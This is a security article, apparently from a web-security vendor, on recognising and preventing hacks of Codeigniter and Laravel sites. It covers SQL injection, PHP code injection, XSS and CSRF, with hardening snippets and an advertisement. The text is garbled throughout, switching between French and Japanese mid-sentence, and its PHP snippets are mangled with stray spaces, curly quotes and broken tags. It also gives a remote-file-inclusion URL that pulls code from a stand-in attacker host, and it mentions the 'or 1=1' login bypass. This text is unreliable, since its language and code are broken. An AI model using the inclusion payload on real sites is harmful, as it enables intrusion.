Site Web Codeigniter または Laravel pirate? Codeigniter と Laravel の修正コードの脆弱性
Laravel と Codeigniter は、フレームワークとして PHP を使用し、Web サイトの作成者として使用します。自然界のオープン ソース デ ドゥ フレームワークが人気を博しています。 Cependant, les utilisateurs doivent comprendre que le déploiement de sites utilisant ces frameworks ne les rend pasûrs. Ce sont les pratiques de développement sécurisées qui comptent. L’injection SQL dans Codeigniter et l’injection SQL dans Laravel sont les deux sujets de sécurité les plus courants sur les forums d’aide. En dehors de SQLi, les pratiques de développement riskeuses font également les sites vulnérables aux XSS, CSRF, attaques RFI etc .
Site Web Codeigniter と Laravel の海賊版:例
Des attaques comme l’injection SQL dans Codeigniter ou Laravel peuvent compromettre le site Web. Ces attaques sont assez courantes et répandues.その結果として、un grand nombre d’utilisateurs souffrant d’attaques similaires peuvent être trouvés demandant de l’aide sur le forum de la communauté Laravel ou le forum de la communauté Codeigniter .特定の de ces は sont donnés ci-dessous の例です。
Codeigniter または Laravel Hack の症状
- Laravel または Codeigniter のフィッシング ページは Web サイトの賢明な情報を提供します。
- Les utilisateurs se plaignent d’être redirigés vers des sites malveillants.
- Le contenu de Gibberish apparaît sur le site de Laravel ou Codeigniter en raison du hachage de mots-clés japonais ou du hack Pharma など
- Le site Web de Laravel ou Codeigniter devient très lent et affiche des messages d’erreur.
- Lors de l’utilisation d’un hébergement tiers, 「Votre compte a été suspendu !」
- Le site Laravel ou Codeigniter est mis sur liste noire par les moteurs de recherche.
- Les journaux d’erreurs montrent certaines attaques comme l’injection SQL dans Codeigniter sur le site.
- Les journaux affichent la connexion au site Web à partir d’adresses IP distancees.
- De nouveau administrateurs voyous apparaissent dans la base de données de connexion.
Codeigniter または Laravel Hack の原因
1) Codeigniter または Laravel Hack:attaques par Injection
a) インジェクション SQL および Codeigniter または Laravel
L’injection SQL dans Codeigniter est une attaque très courante qui est largement répandue sur le Web. Comme son nom’indique, l’attaque cible la base de données du serverur. Exploitant l’injection SQL dans Codeigniter, l’attaquant peut:
- Récupérez les données de la base de données.
- Modifier le contenu de la base de données (comprend la reduction de la base de données entière!)
- Dans certains cas, obtenir un shell inversé.
- 認証は、1 =1 で使用されます。
b) コード PHP および Codeigniter / Laravel へのインジェクション
L’injection de code PHP est un autre type de vulnérabilité courante qui permet aux attaquants d’executer du code sur le site Web Laravel / Codeigniter. Cependant, elle diffère de l’injection de commandes dans le sens où l’attaquant ne peut exécuter que les commandes de ce langage particulier. L’injection de commandes permet à un attaquant d’executer des commandes via un shell inversé.例としては、PHP の実行者、サヴォワール https://testsite.com/?page=https://evilsite.com/evilcode.php
Ce fichier peut contenir des fonctions comme phpinfo () qui peuvent être utilisées pour obtenir des information.
2) Codeigniter または Laravel Hack:クロスサイト スクリプティングと Codeigniter / Laravel
La vulnérabilité XSS se produit dans les sites Web Laravel / Codeigniter en raison du manque de nettoyage des entrées. Les deux cadres ont des fonctions de sécurité spécialement conçues pour eviter ces attaques. XSS による悪用攻撃、攻撃者への攻撃:
- フィッシングの利用者は、Cookie を使用して、セッションの知識を身に付けます。
- Redirigez les utilisateurs vers un site malveillant.
- Utilisé pour Contourner la stratégie de même origin.
3) Laravel または Codeigniter Hack:Codeigniter / Laravel でのサイト間要求の改ざん
Cette attaque vise à inciter les utilisateurs à effectuer des actions indesirables. Cependant、ce type d’attaque ne peut être utilisé que pour manipuler les données (suppression de formulaires など) et non pour les voler ou les lire. Dans le pire des cas, si lavictime est l’administrateur, l’application entière peut être détruite. Cette attaque supply des astuces d’ingénierie sociale pour inciter lesvictimes à cliquer sur un lien qui exécute des commandes comme lapression d’un compte en arrière-plan.
サイトの Laravel の海賊版をコード化しますか?. Envoyez-nous un message sur le widget de chat et nous serons heureux de vous aider à résoudre ce problème.イル。修正デモ サイト Web Laravel / Codeigniter pirate .
4) Protéger votre site Web Codeigniter / Laravel
Codeigniter または Laravel Hack:éviter l’injection SQL dans Codeigniter
Codeigniter est livré avec des tonnes de fonctionnalités de sécurité.特定の d’entre eux incluent des fonctions et des bibliothèques pour eviter l’injection SQL dans Codeigniter. Dans cet article, j'expliquerai 3 つの方法論のプリンシパルは、accomplir la tâche une parune を注ぎます。
Codeigniter または Laravel Hack:échapper aux requêtes dans Codeigniter
Échapper les données avant de les soumettre à l’application PHP les désinfecterait. C'est donc une pratique sûre qui doit être suivie régulièrement. Même les requêtes d’échappement peuvent être effectuées via trois method:
<オール>クラリファイヤーのダバンテージを注ぎ、consultez l’extrait de code ci-dessous.
<小> php
$ email =$ this-> input-> post ('email');
$ query =‘SELECT * FROM subscribers_tbl WHERE user_name =’. $ this-> db-> escape ($ email);
$ this-> db-> query ($ query);
?>小>
Dance ce code, la fonction $ this-> db-> escape () determine d’abord le type de données afin d’échapper uniquement les données de chaîne.加えて、il ajoute automatiquement les guillemets simples autour des données d’entrée. Cela empêche l’injection SQL dans Codeigniter.
Codeigniter または Laravel Hack:requêtes de liaison dans Codeigniter
Les requêtes de liaison peuvent également simplifier le code en plus de nettoyer lesentrées du site Web Codeigniter. Cette method permet au système de poser des requêtes, réduisant ainsi la complexité pour le développeur.例として、l’extrait de code ci-dessous を考慮してください。
<小> php $ sql =“SELECT * FROM subscribers_tbl WHERE ステータス =? AND 電子メール =?」; $ this-> db-> query ($ sql, array (‘active’, ‘[email protected]’));?>
Ici, vous pouvez remarquer des points d’interrogation dans la première ligne au lieu de valeurs. En raison de la liaison de requête, ces points d’interrogation sont remplacés à partir des valeurs du tableau sur la deuxième ligne. Dans l’example précédent, nous avons vu une requête manuelle s’échapper, mais ici, cette method l’accomplit automatiquement. De ce fait l’arrêt de l’injection SQL dans Codeigniter.
Codeigniter または Laravel Hack:Enregistrement de classe active dans Codeigniter
La fonction d’enregistrements actifs de Codeigniter nous permet d’effectuer des opérations de base de données avec un minimum de lignes de code ou de scripts. Puisqu'il s'agit d'une fonction du système lui-même, l'échappement de la requête se fait automatiquement.たとえば、toutes les données de la table peuvent être récupérées par une simple requête:
$ query =$ this-> db-> get ('mytable');
Codeigniter または Laravel Hack:Eviter l’injection SQL dans Laravel
Le mappage relationship-object de Laravel は、オブジェクトとの連携を利用します。 La liaison de paramètres ajoute également des guillemets automatiquement, empêchant ainsi une entrée demoneuse comme ou 1 =1 コンターナーの認証。
$ results =DB ::select ('select * from users where id =:id', ['id' => 1]);
Voici une implémentation d’une requête de liaison nommée dans Laravel.
Codeigniter または Laravel Hack:éviter les scripts intersites dans Codeigniter
Pour éviter d’éventuelles attaques XSS, Codeigniter est livré avec un filtre XSS pre-construit. Dans le cas où ce filtre rencontre une demande malveillante, il la convertit en son entité de caractère, protégeant ainsi l’application. la method xss_clean () を介してアクセス可能なフィルター est :
$ data =$ this-> security-> xss_clean ($ data);
Cependant, les attaquants peuvent parfois injecter du code malveillant dans les fichiers image. Pour éviter de telles attaques, la sécurité des fichiers téléchargés peut également être vérifiée.例としては、le code donné ci-dessous についてです。
if ($ this-> security-> xss_clean ($ file, TRUE) ===FALSE)
{
// le fichier a échoué au test XSS
}
Ce code renverra une valeur booléenne True si l’image est sûre et vice versa. Cependant, il convient de noter ici qu’il est conseillé d’utiliser la method html_escape () si vous souhaitez filtrer les valeurs d’attribut HTML.
Codeigniter または Laravel Hack:éviter les scripts Cross Site Laravel
En utilisant une chaîne d’échappement, les attaques XSS peuvent être évitées sur les sites Web de Laravel. Les chaînes d’échappement empêcheront la mise en œuvre d’une entrée non autorisée. Cependant, il est à noter ici que dans les versions Laravel> 5.1, cette fonctionnalité est activée par défaut. Par conséquent, lorsque l’entrée comme ceci:
La même は une fonction JS を介して peut être implémentée を選択しました。 De plus, la syntaxe {% raw%} {{}} {% endraw%} dans Laravel peut par défaut échapper à toutes les entités HTML malveillantes transmises. De plus, certaines bibliothèques sont spécialement conçues pour cette tâche et pourraient être utilisées pour empêcher Laravel XSS. Si vous utilisez un moteur de modèle comme Blade, il utilisera automatiquement l’échappement pour empêcher de telles attaques.
Codeigniter ou Laravel Hack:empêcher les attaques CSRF dans Codeigniter
La protection CSRF peut être activée dans Codeigniter en modifiant le fichier application / config / config.php. Ajoutez simplement le code suivant au fichier:
$ config [‘csrf_protection’] =TRUE;
Pour les utilisateurs qui utilisent Form Helper, la fonction form_open () peut par défaut insérer un champ de jeton CSRF masqué dans les formulaires. L’autre façon de mettre en œuvre la protection CSRF consiste à utiliser get_csrf_token_name () et get_csrf_hash () . Pour référence, regardez les deux extraits de code ci-dessous d’un formulaire et d’une implémentation côté serveur.
$ csrf =tableau (
‘name’ => $ this-> security-> get_csrf_token_name (),
‘hash’ => $ this-> security-> get_csrf_hash ());
————————————————– ——————
” value =“ =$ csrf [‘hash’];?>” />
La régénération des jetons est également une autre pratique sûre pour empêcher les attaques Codeigniter CSRF. Cependant, la régénération des jetons peut être problématique car les utilisateurs peuvent avoir besoin d’une nouvelle validation après avoir navigué vers d’autres onglets. La régénération de jeton peut être effectuée par le paramètre de configuration suivant:
$ config [‘csrf_regenerate’] =TRUE;
Codeigniter ou Laravel Hack:prévenir les attaques CSRF dans Laravel
Les jetons sont implémentés sous des formes Laravel pour se protéger des attaques CSRF. Ces jetons sont ensuite appelés à l’aide d’un appel AJAX qui peut être trouvé intégré dans chaque formulaire. Les données du jeton de demande sont mises en correspondance avec celles stockées sur le serveur pour la session de l’utilisateur vérifiant les anomalies. Les jetons CSRF peuvent être transmis aux formulaires à l’aide du code suivant ( implémentation des modèles de lame ):
{!! csrf_field () !!}
Cependant, le jeton CSRF peut être ajouté par défaut lors de l’utilisation du package LaravelCollective / HTML.
Codeigniter ou Laravel Hack:Bloquer les rapports d’erreur
Les erreurs de fichier sont utiles dans l’environnement de développement. Cependant, sur le Web, les erreurs de fichier Codeigniter peuvent divulguer des informations potentiellement sensibles aux attaquants. Par conséquent, il est recommandé de désactiver le rapport d’erreurs.
Erreurs PHP
Pour désactiver le rapport d’erreurs PHP, utilisez le fichier index.php. Passez simplement zéro comme argument à la fonction error_reporting (). Regardez l’exemple donné ci-dessous pour référence.
error_reporting (0);
Cependant, pour CodeIgniter version 2.0.1 et supérieure, la constante d’environnement dans le fichier index.php peut être définie sur «production» afin de désactiver les sorties d’erreur PHP.
Erreurs de base de données
Les erreurs de base de données peuvent être désactivées en modifiant le fichier application / config / database.php. Définissez simplement l’option db_debug sur FALSE. Regardez l’exemple ci-dessous pour référence:
$ db [‘default’] [‘db_debug’] =FALSE;
Journalisation des erreurs
Un moyen intelligent serait de transférer les erreurs survenues dans les fichiers journaux, ce qui les empêcherait de s’afficher. L’option seuil de journalisation du fichier /config/config.php peut être définie sur 1 à cet effet. Regardez l’exemple donné ci-dessous.
$ config [‘log_threshold’] =1;
Utiliser un pare-feu d’application Web pour Laravel ou Codeigniter
Même les experts peuvent manquer certains paramètres qui pourraient rendre le site Laravel / Codeigniter vulnérable. De plus, les attaquants trouvent constamment de nouvelles façons de compromettre votre site. Par conséquent, une autre pratique sécurisée consiste à utiliser un pare – feu ou une solution de sécurité quelconque. Astra est une telle solution de sécurité conçue pour répondre à vos exigences flexibles. Payez uniquement pour ce que vous utilisez. Astra est une solution de sécurité prête à l’emploi avec des tarifs à partir de 9 $ par mois. Envoyez-nous un message et rapprochez-vous de la sécurisation de votre code PHP. Obtenez une démo maintenant!
Astra fournit un audit de sécurité complet pour votre site Web Laravel ou Codeigniter avec plus de 80 tests actifs, une bonne combinaison de tests manuels et automatisés.
-
Google ブラックリストから Web サイトを削除する – WordPress、Magento、PrestaShop、OpenCart、Drupal、Joomla、および PHP の場合
Google-blacklist-and-how-to-remove ブラックリスト警告 今日、Google はインターネット検索の代名詞となっています。したがって、Google はユーザーをオンラインで安全に保つという大きな責任を負っています。したがって、表示される検索ページでスパムやマルウェアを監視します。さらに、Google は特定のアルゴリズムを使用してインターネットを分析し、定期的に更新しています。各スキャンの後、Web クローラーは危険なものにラベルを付けて分類します。犯人の Web サイトが見つかった場合は、Google によってブラックリストに登録されます。これらのサイトは、
-
ウェブサイトからバックドアを見つけて削除する方法
実際には、バックドアは開発者が Web サイトにアクセスする正当な方法として使用することもできます。ただし、バックドアの作成者 (開発者またはハッカー) に関係なく、サイトにセキュリティ リスクをもたらします。 ウェブサイトのバックドアを検出する方法 一般に、Web サイトのバックドアを検出するのは簡単なことではありません。これらのドアは適切なファイルとデータベースの間に非常に巧妙に隠されているからです。簡単なこととは反対に、Web サイトでバックドアを検出することは困難な作業です。なぜなら、ほとんどのバックドアは通常、適切なコードと間違われるからです。そして、それがまさに彼女が注意をかわす